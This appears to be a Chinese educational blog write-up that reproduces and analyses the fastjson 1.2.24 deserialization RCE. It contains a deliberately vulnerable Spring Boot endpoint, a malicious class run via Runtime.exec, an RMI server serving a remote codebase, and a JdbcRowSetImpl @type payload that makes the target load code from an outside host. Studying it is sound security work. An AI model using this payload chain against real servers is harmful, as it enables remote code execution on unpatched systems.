0x01 前言

影响版本 fastjson <= 1.2.24

本文出于学习fastjson漏洞的目的,为了能更好的复现漏洞,需要有以下前置知识。

  1. springboot

  2. fastjson

  3. jndi+rmi

jdk版本限制

  1. rmi:<=6u132, 7u122, 8u113

  2. ldap:<= 8u191, 7u201, 6u211,11.0.1

原因:高版本JDK在RMI和LDAP的trustURLCodebase做了限制,从默认允许远程加载ObjectFactory变成了不允许。

0x02 环境

fastjson version:1.2.24

springboot version:2.7.7

jdk version:8u112

0x03漏洞复现

环境准备

  1. 新建一个springboot项目

  2. 引入web和fastjson依赖

    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
    ​
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

  3. 编写漏洞代码

    //新建一个controller,然后写个模拟登录的接口
    package com.hmg.fastjson.controller;
    ​
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    import org.springframework.web.bind.annotation.PostMapping;
    import org.springframework.web.bind.annotation.RequestBody;
    import org.springframework.web.bind.annotation.RestController;
    ​
    ​
    @RestController
    public class TestController {
    ​
        @PostMapping("/login")
        public String login(@RequestBody String jsonData) {
            //这里使用parse和parseObject都是一样的
            Object parse = JSON.parse(jsonData);
            System.out.println(parse.toString());
    ​
            return "login success";
        }
    }
  4. 漏洞利用

    1. 编写exp并且使用python开启一个http服务

      //这里有个需要注意的点,就是不需要包名(package name)
      public class DeserializationShell {
          static {
              try {
                  Runtime.getRuntime().exec("calc");
              } catch (Exception e) {
                  throw new RuntimeException(e);
              }
          }
      }
      ​
      //把DeserializationShell类使用javac命令编译成class文件,然后在这个class文件目录下使用python启动一个http服务
      //python http命令:python -m http.server 8888 --bind 192.168.10.126 (cmd运行此命令,注意:一定要在class文件目录下)
    2. 使用rmi手法进行攻击(ldap也可以,这里使用rmi进行演示)

      //编写rmi server并启动
      package org.example.test12;
      ​
      import com.sun.jndi.rmi.registry.ReferenceWrapper;
      ​
      import javax.naming.Reference;
      import java.rmi.registry.LocateRegistry;
      import java.rmi.registry.Registry;
      ​
      public class RMIServer {
          public static void main(String[] args) throws Exception {
              String url = "http://192.168.10.126:8888/";
              Registry registry = LocateRegistry.createRegistry(1099);
              Reference reference = new Reference("DeserializationShell", "DeserializationShell", url);
              ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
              registry.bind("DeserializationShell",referenceWrapper);
              System.out.println("running...");
          }
      }

    3. 构造payload(这里采用JdbcRowSetImpl来复现,也可以采用其它类来进行构造payload,例如TemplateImpl)

    #使用接口测试工具或hackbar或burp suite来进行漏洞利用
    #payload如下:
    {
       "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://192.168.10.126:1099/DeserializationShell",
        "autoCommit": true
    }

  5. 成功rce

image-20240701231055757

0x04 漏洞分析

fastjson1.2.24在解析json对象或json字符串过程中支持使用autoType来实例化类,并会调用get/set方法来访问属性,这样就可以构造恶意的利用链。这么说可能有点抽象,我们来具体分析下利用链源码。

利用链源码分析

image-20240701231149469

  1. 获取token

    image-20240701233528030

    从图中我们可以看到,它先是匹配了第一个字符,如果是'{'开始的,就指向下一个字符并且赋值token。(LBRACE = 12、LBRACKET = 14)

    image-20240701233935278

  2. 解析json对象

    image-20240701234554509

    因为我们token是LBRACE,所以我们跟进parseObject方法

    image-20240701234702863

    1. 先解析@type,解析到@type之后就进行loadClass

      image-20240702002936594

      解析到@type后继续往下走

      image-20240702003355868

      继续往下走,会看到deserialze方法

      image-20240702004953997

    2. 然后查找匹配字段,找不到就从符号表加载,找到之后就调用该字段的set方法

      com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze

      在这里检测匹配参数

      image-20240704142035213

      如果没有匹配参数,那么就从符号表找

      image-20240704142225831

      进入parseField方法

      image-20240704142512047

      获取字段反序列化器进行解析字段

      image-20240704142948310

      1. 解析参数值

      2. 反射调用该字段set方法

        image-20240704143401310

        反射调用,给JdbcRowSetImpl类的DataSourceName设置rmi地址

        image-20240704143535404

    3. 当调用到setAutoCommit时,在setAutoCommit里调用到connect方法,然后connect里会采用jndi的lookup方法,这就可以配合rmi进行恶意类攻击

image-20240704143930734

image-20240704144146667

lookup方法调用之后就造成了rce

0x05 总结

看完利用链分析后,我们来总结一下,整体来说就是fastjson是根据@type来进行反序列化类并且没有做任何限制,允许指定@type来反序列化任意类,所以导致了反序列化漏洞。

0x06 可能遇到的坑

1、rmi+jndi环境:java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接 2、ldap+jndi环境:java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource

原因:是因为jdk版本问题,在jdk8u113之后系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,即默认不允许RMI、cosnaming从远程的 Codebase加载Reference工厂类。

如何解决?

复现时jdk环境不高于jdk8u113即可。